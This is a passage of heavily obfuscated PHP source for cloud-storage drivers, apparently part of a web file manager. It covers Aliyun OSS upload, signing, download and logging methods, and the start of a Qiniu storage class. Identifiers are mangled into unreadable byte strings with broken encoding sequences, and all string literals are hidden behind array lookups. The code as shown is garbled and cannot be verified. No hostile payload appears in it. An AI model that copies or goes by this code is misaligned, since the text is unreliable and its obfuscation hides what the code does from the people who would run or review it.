$Ë·Ø<C2B7>Áä = trim($¿Ë¾ï¾Å, $úÇá‚þº[8]); $ý†ˆëã° = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($úÇá‚þº[1471] => @md5_file($ã±üåàå)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($¿Ë¾ï¾Å))); $ý†ˆëã° = $this->trafficLimit($úÇá‚þº[1477], $ý†ˆëã°); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($Ë·Ø<C2B7>Áä), $ã±üåàå, $ý†ˆëã°); } catch (OSS\Core\OssException $·¨‰Ì‡…) { $this->writeLog(__FUNCTION__ . $úÇá‚þº[214] . $·¨‰Ì‡…->getMessage()); return !1; } return $this->getPathOuter($¿Ë¾ï¾Å); } public function getHost() { $ÕÑû±âË =& $_SERVER[ˆ¡¹µ‹Â]; $ò¤™Ì¤Ý = explode($ÕÑû±âË[210], parent::getHost()); return $ò¤™Ì¤Ý[0] . $ÕÑû±âË[210] . $this->bucket . $ÕÑû±âË[10] . $ò¤™Ì¤Ý[1]; } public function uploadFormData($Ǥ‰Ç„Ø, $š<>õ»Œ© = 3600) { $<24>ÎŒœÃï =& $_SERVER[ˆ¡¹µ‹Â]; if (!($Þ÷ªÄ<C2AA>î = $this->getHost())) { return !1; } $ÐåõªÇé = $š<>õ»Œ©; $ʯ†<C2AF>Â… = date($<24>ÎŒœÃï[1479], time() + $ÐåõªÇé); $ÎÑí£ó<C2A3> = new DateTime($ʯ†<C2AF>Â…); $™¶ž¦ˆ¤ = $ÎÑí£ó<C2A3>->format(DateTime::ISO8601); $¡ä€Úêƒ = strpos($™¶ž¦ˆ¤, $<24>ÎŒœÃï[372]); $™¶ž¦ˆ¤ = substr($™¶ž¦ˆ¤, 0, $¡ä€Úêƒ) . $<24>ÎŒœÃï[1480]; $®ì¡Ãͤ = 1048576000 * 5; $°øÊÎá<C38E> = $this->pathFather($Ǥ‰Ç„Ø); $Ú˜á<CB9C><C3A1>î = array($<24>ÎŒœÃï[275] => $™¶ž¦ˆ¤, $<24>ÎŒœÃï[278] => array(array($<24>ÎŒœÃï[1481], 0, $®ì¡Ãͤ), array($<24>ÎŒœÃï[281], $<24>ÎŒœÃï[282], $°øÊÎá<C38E>))); $æÂ¶¤®° = base64_encode(json_encode($Ú˜á<CB9C><C3A1>î)); $‹®¹Ïòž = base64_encode(hash_hmac($<24>ÎŒœÃï[263], $æÂ¶¤®°, $this->secret, !0)); $¸¥øéÞ© = array($<24>ÎŒœÃï[293] => $æÂ¶¤®°, $<24>ÎŒœÃï[1482] => $this->accessKey, $<24>ÎŒœÃï[285] => $<24>ÎŒœÃï[274], $<24>ÎŒœÃï[1483] => $‹®¹Ïòž, $<24>ÎŒœÃï[208] => $Þ÷ªÄ<C2AA>î); $¸¥øéÞ© = $this->trafficLimit($<24>ÎŒœÃï[1477], $¸¥øéÞ©); return $¸¥øéÞ©; } public function multiUploadFormData($ÒÐð¿«µ, $­çÄÎ÷– = 3600) { $иñ˜ô‘ =& $_SERVER[ˆ¡¹µ‹Â]; if (!($‰Ù‰<C399>ÞÞ = $this->getHost())) { return !1; } $½è²<C3A8>À = $this->trafficLimit($иñ˜ô‘[1477]); $„óͿȳ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($ÒÐð¿«µ), $½è²<C3A8>À); return array($иñ˜ô‘[254] => $„óͿȳ, $иñ˜ô‘[208] => $‰Ù‰<C399>ÞÞ . $иñ˜ô‘[8] . $this->pathEncode($ÒÐð¿«µ), $иñ˜ô‘[255] => gmdate($иñ˜ô‘[1484]), $иñ˜ô‘[97] => $ÒÐð¿«µ); } public function multiUploadAuthData($é«Øï·›, $Û®þž’Ú = array()) { $ʈǜޤ =& $_SERVER[ˆ¡¹µ‹Â]; $²ñÚï¿Á = isset($Û®þž’Ú[$ʈǜޤ[255]]) ? $Û®þž’Ú[$ʈǜޤ[255]] : gmdate($ʈǜޤ[1484]); $˜¬Úáûä = isset($Û®þž’Ú[$ʈǜޤ[169]]) ? $Û®þž’Ú[$ʈǜޤ[169]] : $ʈǜޤ[12]; $¿œü€÷Ô = $é«Øï·›; if (isset($Û®þž’Ú[$ʈǜޤ[97]])) { $¿œü€÷Ô = $Û®þž’Ú[$ʈǜޤ[97]]; unset($Û®þž’Ú[$ʈǜޤ[97]]); } if (isset($Û®þž’Ú[$ʈǜޤ[256]])) { $Û®þž’Ú[$ʈǜޤ[255]] = $²ñÚï¿Á; return $this->listUploadParts($¿œü€÷Ô, $Û®þž’Ú); } $‚‘¤ ”þ = array($ʈǜޤ[257], $ʈǜޤ[12], $ʈǜޤ[123], $²ñÚï¿Á, "\x78\x2d\157\x73\163\55\x64\x61\x74\x65\x3a{$²ñÚï¿Á}", $ʈǜޤ[8] . $this->bucket . $ʈǜޤ[8] . $¿œü€÷Ô . $˜¬Úáûä); if (strpos($˜¬Úáûä, $ʈǜޤ[258]) === 0) { $‚‘¤ ”þ[0] = $ʈǜޤ[259]; if ($¼’ö‡’Þ = $this->trafficLimit($ʈǜޤ[1477])) { $¿œü€÷Ô = $ʈǜޤ[1485]; array_splice($‚‘¤ ”þ, 5, 0, $¿œü€÷Ô . $ʈǜޤ[4] . $¼’ö‡’Þ[$¿œü€÷Ô]); } } if (isset($Û®þž’Ú[$ʈǜޤ[260]]) && $Û®þž’Ú[$ʈǜޤ[260]] == $ʈǜޤ[261]) { $‚‘¤ ”þ[0] = $ʈǜޤ[261]; } if (!empty($Û®þž’Ú[$ʈǜޤ[1486]])) { $蓞˜Œ° = array_merge(array($‚‘¤ ”þ[4]), $Û®þž’Ú[$ʈǜޤ[1486]]); sort($蓞˜Œ°); $‚‘¤ ”þ[4] = implode($ʈǜޤ[262], $蓞˜Œ°); } $€Ã›Ð›  = implode($ʈǜޤ[262], $‚‘¤ ”þ); $Á𞪱  = base64_encode(hash_hmac($ʈǜޤ[263], $€Ã›Ð› , $this->secret, !0)); $ÝÊš²›Ž = $ʈǜޤ[1454] . $this->accessKey . $ʈǜޤ[4] . $Á𞪱 ; if (strpos($˜¬Úáûä, $ʈǜޤ[258]) === 0) { $ÝÊš²›Ž = array($ʈǜޤ[265] => $ÝÊš²›Ž, $ʈǜޤ[255] => $²ñÚï¿Á); if ($¼’ö‡’Þ) { $ÝÊš²›Ž = array_merge($ÝÊš²›Ž, $¼’ö‡’Þ); } } return $ÝÊš²›Ž; } public function listUploadParts($²—°‡»™, $Ò³Ž«<C5BD>Õ) { $“äê‚— =& $_SERVER[ˆ¡¹µ‹Â]; $šüáúûË = parse_url_query($Ò³Ž«<C5BD>Õ[$“äê‚—[169]]); $ªƒ—ɶ¡ = $this->client->listParts($this->bucket, $this->pathEncode($²—°‡»™), $šüáúûË[$“äê‚—[254]]); $¸Ÿ«Œê® = $ªƒ—ɶ¡->getListPart(); $°íÒìÀ‘ = array(); foreach ($¸Ÿ«Œê® as $©‡«£°¿) { $°íÒìÀ‘[] = array($“äê‚—[308] => $©‡«£°¿->getPartNumber(), $“äê‚—[309] => trim($©‡«£°¿->getETag(), $“äê‚—[121])); } unset($Ò³Ž«<C5BD>Õ[$“äê‚—[256]], $Ò³Ž«<C5BD>Õ[$“äê‚—[260]]); $èòÚ“œ<E2809C> = $this->multiUploadAuthData($²—°‡»™, $Ò³Ž«<C5BD>Õ); if (empty($èòÚ“œ<E2809C>)) { return !1; } return array($“äê‚—[265] => $èòÚ“œ<E2809C>, $“äê‚—[255] => $Ò³Ž«<C5BD>Õ[$“äê‚—[255]], $“äê‚—[267] => $°íÒìÀ‘); } public function download($ßæ©´í<C2B4>, $<24>Á”ã£) { $Ú…À·Õ™ =& $_SERVER[ˆ¡¹µ‹Â]; if ($this->isFolder($ßæ©´í<C2B4>)) { return !1; } try { $îÐá“Ò™ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $<24>Á”ã£); $îÐá“Ò™ = $this->trafficLimit($Ú…À·Õ™[112], $îÐá“Ò™); $this->client->getObject($this->bucket, $this->pathEncode($ßæ©´í<C2B4>), $îÐá“Ò™); } catch (OSS\Core\OssException $Ô¡Ëš<C382>) { $this->writeLog(__FUNCTION__ . $Ú…À·Õ™[214] . $Ô¡Ëš<C382>->getMessage()); return !1; } return $<24>Á”ã£; } public function fileSubstr($¦¶èùå¹, $¼Óüúñš = 0, $´è…™ª¤ = false) { if ($¼Óüúñš === -1) { $ݺ¹Ž<C2B9>ˆ = array(); } else { if ($´è…™ª¤ === !1) { $<24>ñë•äð = $this->size($¦¶èùå¹); } else { $<24>ñë•äð = $¼Óüúñš + $´è…™ª¤ - 1; } $ݺ¹Ž<C2B9>ˆ = array(OSS\OssClient::OSS_RANGE => "{$¼Óüúñš}\55{$<24>ñë•äð}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($¦¶èùå¹), $ݺ¹Ž<C2B9>ˆ); } catch (OSS\Core\OssException $·«ÔñÇÈ) { $this->writeLog(__FUNCTION__ . $_SERVER[ˆ¡¹µ‹Â][214] . $·«ÔñÇÈ->getMessage()); think_exception($·«ÔñÇÈ->getMessage()); return !1; } } private function trafficLimit($³˜ÜìØá, $Ã<>ᮻР= array()) { $…¿â£™‡ =& $_SERVER[ˆ¡¹µ‹Â]; if ($³˜ÜìØá == $…¿â£™‡[1477] && $this->isUploadServer() || $³˜ÜìØá == $…¿â£™‡[112] && $this->isFileOutServer()) { return $Ã<>á®»Ð; } $’óâÞß¡ = floatval($GLOBALS[$…¿â£™‡[6]][$…¿â£™‡[92]][$…¿â£™‡[110]][$³˜ÜìØá]) * 1024 * 1024 * 8; if (!$’óâÞß¡) { return $Ã<>á®»Ð; } $’óâÞß¡ = $’óâÞß¡ < 819200 ? 819200 : ($’óâÞß¡ > 838860800 ? 838860800 : $’óâÞß¡); $Ã<>á®»Ð[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($’óâÞß¡); return $Ã<>á®»Ð; } public function link($Ýæø¾ÜÇ, $ÐîÉ·Ò˜ = array()) { $§°…”ˆé =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->exist($Ýæø¾ÜÇ) || $this->isFolder($Ýæø¾ÜÇ)) { return !1; } try { $ÐîÉ·Ò˜ = $this->trafficLimit($§°…”ˆé[112], $ÐîÉ·Ò˜); $’èîüìí = $this->client->signUrl($this->bucket, $this->pathEncode($Ýæø¾ÜÇ), 3600 * 12, $§°…”ˆé[261], $ÐîÉ·Ò˜); return $this->getCdnLink($’èîüìí); } catch (OSS\Core\OssException $<24>¥‡·Ê¾) { $this->writeLog(__FUNCTION__ . $§°…”ˆé[214] . $<24>¥‡·Ê¾->getMessage()); return !1; } } public function fileOut($ÆÛÁþÍ÷, $¶÷»–á· = false, $•¥ð<C2A5>Æ­ = false, $È÷‡Ëȶ = '') { $žŽ®âïþ =& $_SERVER[ˆ¡¹µ‹Â]; if ($this->isFileOutServer()) { return $this->fileOutServer($ÆÛÁþÍ÷, $¶÷»–á·, $•¥ð<C2A5>Æ­, $È÷‡Ëȶ); } if (!$•¥ð<C2A5>Æ­) { $•¥ð<C2A5>Æ­ = $this->pathThis($ÆÛÁþÍ÷); } $•¥ð<C2A5>Æ­ = rawurlencode($•¥ð<C2A5>Æ­); $ Åë—ùÕ = get_file_mime(get_path_ext($•¥ð<C2A5>Æ­)); if ($ Åë—ùÕ == $žŽ®âïþ[248]) { return parent::fileOut($ÆÛÁþÍ÷, $¶÷»–á·, $•¥ð<C2A5>Æ­, $È÷‡Ëȶ); } $¶÷»–á· = $¶÷»–á· ? $žŽ®âïþ[1487] : $žŽ®âïþ[1488]; $<24>¬¼‰¡¸ = array(OSS\OssClient::OSS_SUB_RESOURCE => $žŽ®âïþ[1489] . rawurlencode("{$¶÷»–á·}\x3b\x66\x69\x6c\x65\x6e\x61\155\145\75{$•¥ð<C2A5>Æ­}")); $<24>¬¼‰¡¸[OSS\OssClient::OSS_SUB_RESOURCE] .= $žŽ®âïþ[1490] . rawurlencode($ Åë—ùÕ); $©<>Èû¯À = $this->link($ÆÛÁþÍ÷, $<24>¬¼‰¡¸); $this->fileOutLink($©<>Èû¯À); } public function fileOutServer($èìÉ<C3AC><C389>², $Ȳý¸ÉÇ = false, $¯» €²… = false, $èçÇûÁ¢ = '') { parent::fileOut($èìÉ<C3AC><C389>², $Ȳý¸ÉÇ, $¯» €²…, $èçÇûÁ¢); } public function fileOutImage($Îýλ<C38E>ò, $Ò´ˆ€üï = 250) { if ($this->size($Îýλ<C38E>ò) > 1024 * 1024 * 20) { return $this->fileOutImageServer($Îýλ<C38E>ò, $Ò´ˆ€üï); } $ÄšØýĹ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[ˆ¡¹µ‹Â][1451] . $Ò´ˆ€üï); $Ò¾ˆù°è = $this->link($Îýλ<C38E>ò, $ÄšØýĹ); $this->fileOutLink($Ò¾ˆù°è); } public function fileOutImageServer($•“Âúؼ, $ËÁÍ™ò¯ = 250) { parent::fileOutImage($•“Âúؼ, $ËÁÍ™ò¯); } public function fileOutLink($̼†íúô) { $Ò¢ËòÙõ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->isCdnHost() && substr($̼†íúô, 0, 7) == $Ò¢ËòÙõ[313]) { $̼†íúô = $Ò¢ËòÙõ[314] . substr($̼†íúô, 7); } header($Ò¢ËòÙõ[175] . $̼†íúô); die; } public function hashMd5($Ò<>êÂú², $­ïä±Ñ<C2B1> = '') { $ƒŽû¿Ç’ =& $_SERVER[ˆ¡¹µ‹Â]; $£šÚ©íŠ = $this->_objectMeta($Ò<>êÂú²); if (!$£šÚ©íŠ) { return $ƒŽû¿Ç’[12]; } if (!isset($£šÚ©íŠ[$ƒŽû¿Ç’[1471]]) && !empty($­ïä±Ñ<C2B1>)) { $ÜíåÃÜÓ = $this->updateObjMeta($Ò<>êÂú², array($ƒŽû¿Ç’[1471] => $­ïä±Ñ<C2B1>)); $£šÚ©íŠ[$ƒŽû¿Ç’[1471]] = $ÜíåÃÜÓ ? $­ïä±Ñ<C2B1> : $ƒŽû¿Ç’[12]; } return isset($£šÚ©íŠ[$ƒŽû¿Ç’[1471]]) ? strtolower($£šÚ©íŠ[$ƒŽû¿Ç’[1471]]) : $ƒŽû¿Ç’[12]; } public function size($Ã΀èËÁ) { $<24>·²ó¤ó = $this->objectMeta($Ã΀èËÁ); return $<24>·²ó¤ó ? $<24>·²ó¤ó[$_SERVER[ˆ¡¹µ‹Â][79]] : 0; } public function info($ŸÖÆ¡Óø) { if ($this->isFolder($ŸÖÆ¡Óø)) { return $this->folderInfo($ŸÖÆ¡Óø); } else { if ($this->isFile($ŸÖÆ¡Óø)) { return $this->fileInfo($ŸÖÆ¡Óø); } } return !1; } public function exist($Úþëøã¿) { return $this->isFile($Úþëøã¿) || $this->isFolder($Úþëøã¿); } public function isFile($ä׸¶Œú) { return !$this->isFolder($ä׸¶Œú) && $this->objectMeta($ä׸¶Œú); } public function isFolder($öù„Ô°Ú) { return $this->cacheMethod($_SERVER[ˆ¡¹µ‹Â][179], $öù„Ô°Ú); } protected function objectMeta($²<E280BA><C2B2>ߟ) { return $this->cacheMethod($_SERVER[ˆ¡¹µ‹Â][181], $²<E280BA><C2B2>ߟ); } protected function _objectMeta($Ðç­) { $×ͦŸôÈ =& $_SERVER[ˆ¡¹µ‹Â]; try { $¡èâä½³ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($Ðç­)); } catch (OSS\Core\OssException $©³‡–¼ˆ) { $this->writeLog(__FUNCTION__ . $×ͦŸôÈ[214] . $©³‡–¼ˆ->getMessage()); $¡èâä½³ = !1; } if ($¡èâä½³) { $¡èâä½³[$×ͦŸôÈ[79]] = intval($¡èâä½³[$×ͦŸôÈ[1469]]); } return $¡èâä½³; } protected function _isFolder($ß—ØÉŒÅ) { $±ÒÞñþ½ =& $_SERVER[ˆ¡¹µ‹Â]; if ($ß—ØÉŒÅ == $±ÒÞñþ½[12] || $ß—ØÉŒÅ == $±ÒÞñþ½[8]) { return !0; } $„°š—˜š = array($±ÒÞñþ½[1464] => $±ÒÞñþ½[8], $±ÒÞñþ½[1465] => rtrim($ß—ØÉŒÅ, $±ÒÞñþ½[8]) . $±ÒÞñþ½[8], $±ÒÞñþ½[1466] => 1, $±ÒÞñþ½[1467] => $±ÒÞñþ½[12]); $âïËî½Í = $this->client->listObjects($this->bucket, $„°š—˜š); if ($âïËî½Í->getObjectList() || $âïËî½Í->getPrefixList()) { return !0; } return !1; } public function writeLog($Ê º»‹Ð = '', $Þ÷†½‚Û = false) { $Š’€è‘ž =& $_SERVER[ˆ¡¹µ‹Â]; $É›ÉåÏ‚ = in_array(ACTION, array($Š’€è‘ž[212], $Š’€è‘ž[213])); if (!$É›ÉåÏ‚ && !GLOBAL_DEBUG) { return; } $€¾¸ï¸™ = 0; if (stripos($Ê º»‹Ð, $Š’€è‘ž[1491]) !== !1) { $€¾¸ï¸™ = 1; $ÛÑÁ‰éÖ = explode($Š’€è‘ž[1492], $Ê º»‹Ð); $Ê º»‹Ð = !empty($ÛÑÁ‰éÖ[1]) ? $ÛÑÁ‰éÖ[1] : $Ê º»‹Ð; } else { if (stripos($Ê º»‹Ð, $Š’€è‘ž[1493])) { $€¾¸ï¸™ = 2; $ÛÑÁ‰éÖ = explode($Š’€è‘ž[1493], $Ê º»‹Ð); $ÛÑÁ‰éÖ = explode($Š’€è‘ž[4], $ÛÑÁ‰éÖ[0]); $Ê º»‹Ð = !empty($ÛÑÁ‰éÖ[1]) ? $ÛÑÁ‰éÖ[1] : $Ê º»‹Ð; } } if ($É›ÉåÏ‚ && I18n::getType() == $Š’€è‘ž[1494]) { if ($€¾¸ï¸™ == 1) { $Ê º»‹Ð = str_replace($Š’€è‘ž[1495], $Š’€è‘ž[1496], $Ê º»‹Ð); } else { if ($€¾¸ï¸™ == 2) { $ÛÑÁ‰éÖ = explode($Š’€è‘ž[214], $ÛÑÁ‰éÖ[0]); $¨¤È‡´¬ = isset($ÛÑÁ‰éÖ[1]) ? $ÛÑÁ‰éÖ[1] : $Š’€è‘ž[12]; $<24><>‡ì÷ö = array($Š’€è‘ž[1497] => $Š’€è‘ž[1498], $Š’€è‘ž[1499] => $Š’€è‘ž[1500], $Š’€è‘ž[1501] => $Š’€è‘ž[1502], $Š’€è‘ž[1503] => $Š’€è‘ž[1504], $Š’€è‘ž[1505] => $Š’€è‘ž[1506], $Š’€è‘ž[1507] => $Š’€è‘ž[1508], $Š’€è‘ž[1509] => $Š’€è‘ž[1510], $Š’€è‘ž[1511] => $Š’€è‘ž[1512], $Š’€è‘ž[1513] => $Š’€è‘ž[1514], $Š’€è‘ž[1515] => $Š’€è‘ž[1516]); if (isset($<24><>‡ì÷ö[$¨¤È‡´¬])) { $Ê º»‹Ð = $<24><>‡ì÷ö[$¨¤È‡´¬]; } } } if (stripos($Ê º»‹Ð, $Š’€è‘ž[1517])) { $Ê º»‹Ð = $Š’€è‘ž[1518]; } } if (!trim($Ê º»‹Ð)) { return; } parent::writeLog(trim($Ê º»‹Ð), $Þ÷†½‚Û); } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($©ˆ™÷Œî) { parent::__construct(); require_once SDK_DIR . $_SERVER[ˆ¡¹µ‹Â][1519]; $this->_init($©ˆ™÷Œî); } public function _init($ù·‘³¥õ) { $Ÿ±Îôý£ =& $_SERVER[ˆ¡¹µ‹Â]; $this->config = $ù·‘³¥õ; foreach ($ù·‘³¥õ as $¨üœÕ<C395> => $‚ÑÌáÉž) { if (isset($this->{$¨üœÕ<C395>})) { $this->{$¨üœÕ<C395>} = $‚ÑÌáÉž; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($Ÿ±Îôý£[1520] . LNG($Ÿ±Îôý£[1455])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($<24>â®ö·•, $ä›â¿´Û = '', $É©¤üïï = REPEAT_RENAME) { if ($this->setContent($<24>â®ö·•, $ä›â¿´Û)) { return $this->getPathOuter($<24>â®ö·•); } return !1; } public function mkdir($åôÙÍ«“, $ƒ×Þ = REPEAT_SKIP) { $¸ùÛꡨ =& $_SERVER[ˆ¡¹µ‹Â]; $ûÀêÆÓ  = trim($åôÙÍ«“, $¸ùÛꡨ[8]); if ($this->_isFolder($ûÀêÆÓ )) { return $this->getPathOuter($ûÀêÆÓ ); } $åôÙÍ«“ = $ûÀêÆÓ  . $¸ùÛꡨ[8]; $¡Áö®„Ð = get_path_this($ûÀêÆÓ ); $Ǹ—áá— = $åôÙÍ«“ . $¡Áö®„Ð; if (!$this->mkfile($Ǹ—áá—)) { return !1; } if (!$this->moveFile($Ǹ—áá—, $åôÙÍ«“)) { $this->delFile($Ǹ—áá—); return !1; } return $this->getPathOuter($ûÀêÆÓ ); } public function copyFile($‘ñ ƒÐÝ, $ïˆûš„¬) { $˜ ¢ä­§ = $this->bucketManager->copy($this->bucket, $‘ñ ƒÐÝ, $this->bucket, $ïˆûš„¬, !0); return $˜ ¢ä­§ ? !1 : $this->getPathOuter($ïˆûš„¬); } public function moveFile($… ‹»¡Õ, $£–©ÑçØ) { $›Õ¥Äƒä = $this->bucketManager->move($this->bucket, $… ‹»¡Õ, $this->bucket, $£–©ÑçØ, !0); return $›Õ¥Äƒä ? !1 : $this->getPathOuter($£–©ÑçØ); } public function delFile($Éì¼Õ¦›) { if (!$this->exist($Éì¼Õ¦›)) { return !0; } $¯õ«°ÖÕ = $this->bucketManager->delete($this->bucket, $Éì¼Õ¦›); return $¯õ«°ÖÕ ? !1 : !0; } public function delFolder($êÅðœÖ¸) { $úüÎÖÅú =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->exist($êÅðœÖ¸)) { return !0; } $this->listItemCache = !1; $”€Éêýé = $this->fileList($êÅðœÖ¸); $this->listItemCache = !0; $Àç¯âÒà = trim($êÅðœÖ¸, $úüÎÖÅú[8]) . $úüÎÖÅú[8]; if (!empty($êÅðœÖ¸) && $êÅðœÖ¸ !== $úüÎÖÅú[228] && !in_array($Àç¯âÒÃ, $”€Éêýé[$úüÎÖÅú[85]])) { $”€Éêýé[$úüÎÖÅú[85]][] = $Àç¯âÒÃ; } $š‚•áÞ· = $this->delByBatch($”€Éêýé[$úüÎÖÅú[86]]); if (!$š‚•áÞ·) { return !1; } $š‚•áÞ· = $this->delByBatch($”€Éêýé[$úüÎÖÅú[85]]); if (!$š‚•áÞ·) { return !1; } return $this->delFile($Àç¯âÒÃ); } private function delByBatch($<24>°í¾¥ô) { foreach (array_chunk($<24>°í¾¥ô, 1000) as $ì€ô—ò˜) { $<24>Í€¿ù¯ = $this->bucketManager->buildBatchDelete($this->bucket, $ì€ô—ò˜); list($”À¾šß¾, $Öðôù¸Œ) = $this->bucketManager->batch($<24>Í€¿ù¯); if ($Öðôù¸Œ) { return !1; } } return !0; } public function rename($ñÊÉïÍ¡, $ÄÛŠñÙÂ) { return $this->renameObject($ñÊÉïÍ¡, $ÄÛŠñÙÂ); } public function fileInfo($Õïù±<C3B9>„, $±ÄÌÖ†² = false, $–ખ͖ = array()) { $ÅúÝ¿”… =& $_SERVER[ˆ¡¹µ‹Â]; $IJʯÃÌ = array($ÅúÝ¿”…[32] => $this->pathThis($Õïù±<C3B9>„), $ÅúÝ¿”…[87] => $this->getPathOuter($ÅúÝ¿”…[8] . $Õïù±<C3B9>„), $ÅúÝ¿”…[33] => $ÅúÝ¿”…[230], $ÅúÝ¿”…[79] => isset($–ખ͖[$ÅúÝ¿”…[1521]]) ? $–ખ͖[$ÅúÝ¿”…[1521]] : 0, $ÅúÝ¿”…[169] => $this->ext($Õïù±<C3B9>„)); if ($±ÄÌÖ†²) { return $IJʯÃÌ; } $IJʯÃÌ[$ÅúÝ¿”…[231]] = $IJʯÃÌ[$ÅúÝ¿”…[88]] = 0; $IJʯÃÌ[$ÅúÝ¿”…[232]] = $IJʯÃÌ[$ÅúÝ¿”…[233]] = !0; if (empty($–ખ͖)) { $–ખ͖ = $this->objectMeta($Õïù±<C3B9>„); if (!$–ખ͖) { return $IJʯÃÌ; } } if (isset($–ખ͖[$ÅúÝ¿”…[234]]) && $–ખ͖[$ÅúÝ¿”…[234]]) { $IJʯÃÌ[$ÅúÝ¿”…[235]] = $–ખ͖[$ÅúÝ¿”…[234]]; } if (isset($–ખ͖[$ÅúÝ¿”…[245]]) && $–ખ͖[$ÅúÝ¿”…[245]]) { $IJʯÃÌ[$ÅúÝ¿”…[235]] = $–ખ͖[$ÅúÝ¿”…[245]]; } if (isset($–ખ͖[$ÅúÝ¿”…[1522]])) { $IJʯÃÌ[$ÅúÝ¿”…[88]] = substr($–ખ͖[$ÅúÝ¿”…[1522]] . $ÅúÝ¿”…[12], 0, 10); } if (isset($–ખ͖[$ÅúÝ¿”…[1521]])) { $IJʯÃÌ[$ÅúÝ¿”…[79]] = $–ખ͖[$ÅúÝ¿”…[1521]]; } return $IJʯÃÌ; } public function folderInfo($Å—<C385>°²<C2B0>, $Û¿í×ïû = false) { $Ä×õÉ¿Ô =& $_SERVER[ˆ¡¹µ‹Â]; $¯<>çÓùú = array($Ä×õÉ¿Ô[32] => $this->pathThis($Å—<C385>°²<C2B0>), $Ä×õÉ¿Ô[87] => $this->getPathOuter($Ä×õÉ¿Ô[8] . $Å—<C385>°²<C2B0>), $Ä×õÉ¿Ô[33] => $Ä×õÉ¿Ô[78]); if ($Û¿í×ïû) { return $¯<>çÓùú; } $¯<>çÓùú[$Ä×õÉ¿Ô[231]] = $¯<>çÓùú[$Ä×õÉ¿Ô[88]] = 0; $¯<>çÓùú[$Ä×õÉ¿Ô[232]] = $¯<>çÓùú[$Ä×õÉ¿Ô[233]] = !0; $Å—<C385>°²<C2B0> = rtrim($Å—<C385>°²<C2B0>, $Ä×õÉ¿Ô[8]) . $Ä×õÉ¿Ô[8]; $Êï¸ð™ö = $this->objectMeta($Å—<C385>°²<C2B0>); if (isset($Êï¸ð™ö[$Ä×õÉ¿Ô[1522]])) { $¯<>çÓùú[$Ä×õÉ¿Ô[88]] = substr($Êï¸ð™ö[$Ä×õÉ¿Ô[1522]] . $Ä×õÉ¿Ô[12], 0, 10); } return $¯<>çÓùú; } public function listPath($Û‰<C39B>¨Œ¡, $Ë®ˆ³íË = false) { $ºû¦ÉÒ… =& $_SERVER[ˆ¡¹µ‹Â]; $‚¨Ž©ç« = $this->fileList($Û‰<C39B>¨Œ¡, $ºû¦ÉÒ…[8], !0); foreach ($‚¨Ž©ç«[$ºû¦ÉÒ…[85]] as $ª®Ôн… => $šÈ<C5A1>ŸÒ®) { $‚¨Ž©ç«[$ºû¦ÉÒ…[85]][$ª®Ôн…] = $this->folderInfo($šÈ<C5A1>ŸÒ®, $Ë®ˆ³íË); } foreach ($‚¨Ž©ç«[$ºû¦ÉÒ…[86]] as $ª®Ôн… => $šÈ<C5A1>ŸÒ®) { $‚¨Ž©ç«[$ºû¦ÉÒ…[86]][$ª®Ôн…] = $this->fileInfo($šÈ<C5A1>ŸÒ®[$ºû¦ÉÒ…[97]], $Ë®ˆ³íË, $šÈ<C5A1>ŸÒ®); } return $‚¨Ž©ç«; } public function has($Üôå‘‘©, $Þ×´Ó“Û = false, $©œ•›¤¶ = true) { $žÍžÐ¹´ =& $_SERVER[ˆ¡¹µ‹Â]; $Üôå‘‘© = trim($Üôå‘‘©, $žÍžÐ¹´[8]); $ß <C39F>ºøê = empty($Üôå‘‘©) && $Üôå‘‘© !== $žÍžÐ¹´[228] ? $žÍžÐ¹´[12] : $Üôå‘‘© . $žÍžÐ¹´[8]; $Ó̈<C38C>÷ = $žÍžÐ¹´[12]; $ß«±–¦å = 500; $øÏú·ŠÒ = $žÍžÐ¹´[8]; $üÛ¤‚Àí = $ï<>žÑíØ = 0; while (!0) { check_abort(); list($‰ÍºÅ˜§, $è”íöµÁ) = $this->bucketManager->listFiles($this->bucket, $ß <C39F>ºøê, $Ó̈<C38C>÷, $ß«±–¦å, $øÏú·ŠÒ); if ($è”íöµÁ) { break; } $Ó̈<C38C>÷ = array_key_exists($žÍžÐ¹´[1467], $‰ÍºÅ˜§) ? $Ó̈<C38C>÷ = $‰ÍºÅ˜§[$žÍžÐ¹´[1523]] : $žÍžÐ¹´[12]; if ($Þ×´Ó“Û) { if (!empty($‰ÍºÅ˜§[$žÍžÐ¹´[1524]])) { $üÛ¤‚Àí += count($‰ÍºÅ˜§[$žÍžÐ¹´[1524]]); } if (!empty($‰ÍºÅ˜§[$žÍžÐ¹´[1525]])) { $ï<>žÑíØ += count($‰ÍºÅ˜§[$žÍžÐ¹´[1525]]); } if ($Ó̈<C38C>÷ === $žÍžÐ¹´[12]) { break; } continue; } if ($©œ•›¤¶) { if (!empty($‰ÍºÅ˜§[$žÍžÐ¹´[1524]])) { return !0; } } else { if (!empty($‰ÍºÅ˜§[$žÍžÐ¹´[1525]])) { return !0; } } if ($Ó̈<C38C>÷ === $žÍžÐ¹´[12]) { break; } } if ($Þ×´Ó“Û) { return array($žÍžÐ¹´[239] => $üÛ¤‚Àí, $žÍžÐ¹´[240] => $ï<>žÑíØ); } return !1; } public function listAll($çÀÜìûš) { $•ë©•‘Ê =& 